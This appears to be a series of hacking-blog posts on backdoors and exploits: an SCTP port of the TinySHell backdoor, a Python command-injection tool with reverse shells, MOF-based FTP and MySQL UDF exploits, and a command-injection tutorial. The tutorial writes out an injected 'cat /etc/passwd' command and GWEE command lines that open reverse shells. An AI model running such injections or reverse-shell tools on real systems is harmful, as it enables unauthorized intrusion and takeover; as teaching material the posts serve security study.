You may have seen, a while ago, my post on SCTP reverse shells.
I realized quite quickly that I should definately do some more research in this direction, and hence ported one of my favourite Unix backdoors (which uses a TCP connection) to use a SCTP connection instead. This backdoor allows for a remote PTY, file upload, and file download. It also is encrypted connection.
The backdoor in question is ‘TinySHell’ by the inestimable Christophe Devine (who left quite a legacy of code, which I may start to maintain as he appears to have vanished. Chris, if you are out there, get in touch or something! Love your work!). I spent a short while examining the code, then quickly patched it up to replace all the TCP stuff with SCTP stuff. I imagine I could easily alter it to do UDP, and might try that later.
Anyways, without further ado, here is the code. Again, all credit to Chris, all I did was modify it!
So, you might remember my short writeup on exploiting command injection vulnerabilities – http://insecurety.net/?p=403 – and note that the tool used, GWEE, was a bit outdated and often would not compile correctly on modern versions of Linux using GCC.
Had you ever messed with the tool, you might also notice one of the authors was Sabu, so as a matter of principle, I was going to avoid using it whenever possible.
So, many attempts were made at re-implementing the tool in Python, most of them absolute failures, totally rubbish, or otherwise “clunky” and inelegant.
Anyways, much messing about later, I stumbled across a piece of code by @LaNMaSteR53 named “rce.py”. You can download it here: rce.py (the original one).
My main problem when writing my implementations (prior to seeing LaNMaSteR53’s implementation) was handling the POST data. How the hell would I get it from the commandline to the tool itself without having the user editing some config file of some kind. To me, this was a major stumbling block.
So, when I saw Tim’s implementation, passing it “just like a GET, but telling the parser it was POST”, I had to borrow it. A quick bit of replacing the urllib stuff with requests.get and requests.post, and I had a decent base to build from.
While the retooled version of rce.py itself was pretty cool as it was, I felt it could be taken a lot further. The original beta had built in reverse shells (12 or so varieties), however it tended to crash and such a lot. No error handling whatsoever, and some of the payloads simply failed to function at all.
Eventually, I wrote the “payloads” module. A slimmed down version of it is included in the wee.tar.bz2 archive, as I have not finished the thing yet. Currently the public release contains only a python reverse shell, however it is extremely easy to expand upon.
Anyway, on with the show.
we.py has only one mandatory arguement, the –url arg. You simply (for a GET request, the default), put in –url=’http://victim.com/vuln?vuln=<rce>&otherparams=otherparams’
For a POST request, you put them in just like a GET request, and specify –method=post as an argument to tell the tool to parse them as POST parameters.
By default, it gives you the “rce.py” style inline shell prompt. However, using the –shell argument, you can specify it to use a reverse shell instead like so: –shell=reverse.
By default, the reverse shell will use 127.0.0.1 and 4444 as its lhost and lport, so you can change this with –lhost=LHOST and –lport=LPORT.
So, here is a screenshot of it in action:
This tool is still being developed, so report any bugs you find in it and make suggestions
Ever since Kingcope released the “Stuxnet Style” MySQL exploit using .mof files to execute dropped binaries, illness there has been a rash of similar exploits cropping up – and I fully expect many more to come. This one is one of the interesting ones, as it demonstrates something extremely interesting. How improper FTP file access privileges can lead to trivial remote code execution.
This exploit works in an extraordinarily simple manner. The FreeFloat FTP Server is rife with security flaws. Not least the fact it has no authentication whatsoever, and drops one right into C: with privileges to write files as the SYSTEM user.
It uploads the binary (Meterpreter in the MSF exploit) to System32, then plants a .MOF file to execute it in the System32wbemmof directory, allowing Windoes Management Interface to execute it as SYSTEM – the same as the other exploits.
Essentially, you pop a SYSTEM shell within less than a minute.
I expect that future weeks will show us more and more “Stuxnet Style” exploits as this technique becomes more trendy, hence, “Oppa Stuxnet Style!”.
So, search last weekend we got to see @kingcope release approximately a dozen new exploits, some scanners, and in general, a shitload of incredibly awesome code. Some serious headaches for systems administrators in general. Grab the exploits from
Now, over the past week in my free time (it is exam season for me, hence no updates in a while, but after next week its back to work ) I have been fooling about with these exploits. As usual, Kingcope delivered some quality stuff.
This exploit in particular is not quite “new” per se, it is a fascinating abuse of FILE privileges in MySQL. Unless I am mistaken, the SQLmap guys implemented this as well. However, I never had much luck at all with it. This, on the other hand, is an extremely reliable exploit.
How it works is rather simple. It creates a table in the target MySQL database (Spearhead), and uploads a DLL file as a binary blob into said table. It then uses “INTO DUMPFILE” to dump the payload out into the MySQL Plugin directory. The payload being a DLL file which contains code that spawns a reverse shell.
Finally, it creates a User Defined Function, “mysqljackpot”, which loads said DLL file and causes the reverse shell code to be executed under the context of the MySQL process, which is normally the SYSTEM user. It also drops the created databases to clear some evidence.
Very clever way of popping a box, however I do imagine it leaving a lot of logs behind… And I am investigating doing this via SQL injection at the moment (I can see no reason why not!).
So, lately I have been experimenting a lot with the “Requests” module for python. It makes creating and sending HTTP GET and POST requests so incredibly easy, that I had to use it to write some incredibly simple PoC exploits.
First off, recently there was an advisory about a PHPTax remote code execution vulnerability. So, naturally, I wrote a quick and nasty PoC for it. There is a better one in the Metasploit framework, but I simply wrote this to stave off boredom one evening. This one simply throws you a reverse shell (if the moon, sun and Andromeda galaxy are correctly lined up).
This is a short paper describing how to exploit basic command injection vulnerabilities in web applications. I am covering it as part of my attempt to cover the entire OWASP Top Ten series here, and hopefully you will find this paper informative.
So, what IS Command Injection?
Command injection is basically injection of operating system commands to be executed through a web-app. I had some trouble explaining it, so I will show the OWASP definition…
The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).
There is a variant of the Code Injection attack. The difference with code injection is that the attacker adds his own code to the existing code. In this way, the attacker extends the default functionality of the application without the necessity of executing system commands. Injected code is executed with the same privileges and environment as the application has.
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
So, what does all that mean?
Essentially, comman injection attacks can occur when a web application executes system commands – say – a webapp that runs nslookup queries for you. If the input that is passed tot he shell command is not correctly sanitized, an attacker can *inject* extra shell commands and have your application run them under the priviliges of the webapp – normally the privilages of the web-server.
Put simply, it means the attacker can execute commands on your box, leading to total system compromise. Yes, this is a very serious vulnerability.
Ok, so how does all this work?
I suppose the simplest way to explain is by a simple example. Below I wills how some example code, and how exactly we would go about exploiting it.
This piece of code accepts the GET parameter “host” and runs the nslookup command on it, giving you output regarding its IP address.
The important part is to see how the $host parameter (the GET parameter) is passed directly to the system() function without any filtering or sanitization of input.
Those of you familiar with the Unix command line will know we can “stack” commands by using a semicolon, like so…
nslookup google.com;cat /etc/passwd
Hence, you should realize that if we appended the semicolon followed by an arbritary OS command to the GET parameter, we will be able to execute our commands. Demo Time!
In this demo we simply run ls, and try read a couple of files. Then I decided to cat /dev/urandom (for fun) and had to end the demo as my drive started spinning like mad.
SO that is GET injection. You also said POST variables?
Indeed. Not only GET vars are vulnerable to this kind of attack, POST variables (for example, forms) are also vulnerable to these attacks.
Mutillidae has a fine example of POST command injection, so we will use that for the next demo. Basically the same deal – just a semicolon followed by your commands.
POST injection without visible forms…
Now sometimes we cannot see the POST var being sent, due to it being in a list. Please see the code below for an example…
Ok. So we have no DIRECT access to the POST param “host” via our browser, however we *know* it is vulnerable.
We know this as it passes the input from the POST var “host” directly to the system() function and therefore is vuln to the same attack methods as the GET injection we preformed earlier…
It is situations like these that we use BURP or a similar intercepting proxy to get a better look at whats going on. Simply we intercept our own traffic and we can modify it on the fly to see what is going on in there…
So… We can execute commands… What next?
Well, obviously the ability to execute commands is great, but we can take this a bit further. Getting a reverse shell, for example, would be awesome. And as it happens, we can do this.
There exists a tool called “GWEE”, which stands for “Generic Web Exploitation Engine”, written by some guys including our favourite narc, Sabu. It was released a couple of years ago, however it is an INCREDIBLY powerful tool and is VERY useful.
Now, GWEE operates by injecting reverse-shell shellcode and running it, giving one direct shell access. It has built in listener, etc.
GWEE usage: Owning a HTTP GET Injection
Ok. So we have our GET injection from earlier and want to get ourselves a reverse shell from it… We intend to use GWEE. Let’s run over what args to use…
The Command string we will be using…
gwee -G -y ‘?host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd1.php
So, what do all those mean?
The -G flag means “GET”, so we inject via GET request.
The -y ‘?host=;’ is the injectable parameter with the semicolon appended.
-l localhost means “Listener is localhost, send shell there”
-p 4445 means “Port to phone home to is port 4445″
-L means “use built in listener so I don’t have to start a netcat” (only for if you are listening on the same amchine as you are injecting from)
And the last thing there is the vulnerable URL…
Enough talking, ITS DEMO TIME
GWEE Usage: Owning a HTTP POST Injection
Now in this part we assume we know nothing about the app we are attacking except the vuln page, so it gives me an excuse to use Burp to find the vulnerable parameter to inject.
Now as for the GWEE injection commands, mostly the same except for 2 VITAL changes…
gwee -y ‘host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd2.php
Well, obviously the vuln URL is a bit different as it IS a different page we are attacking.
There is no -G flag. GWEE uses POST injections by default!
The -y ‘host=;’ arguements look the same at first glance, except the ? is gone. Why is this you ask? Because the ? is only there in GET injections and not in POST ones. This is just how POST/GET work, and if you had not known this you do now